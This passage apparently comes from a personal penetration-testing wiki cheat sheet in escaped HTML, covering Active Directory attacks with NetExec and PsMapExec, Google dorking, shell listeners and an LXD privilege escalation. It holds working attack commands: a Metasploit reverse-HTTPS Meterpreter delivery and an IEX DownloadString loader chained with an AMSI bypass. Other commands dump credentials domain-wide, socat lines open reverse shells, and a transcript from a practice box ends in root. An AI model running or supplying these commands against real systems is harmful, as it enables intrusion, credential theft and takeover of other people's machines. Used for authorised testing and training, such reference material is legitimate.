$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
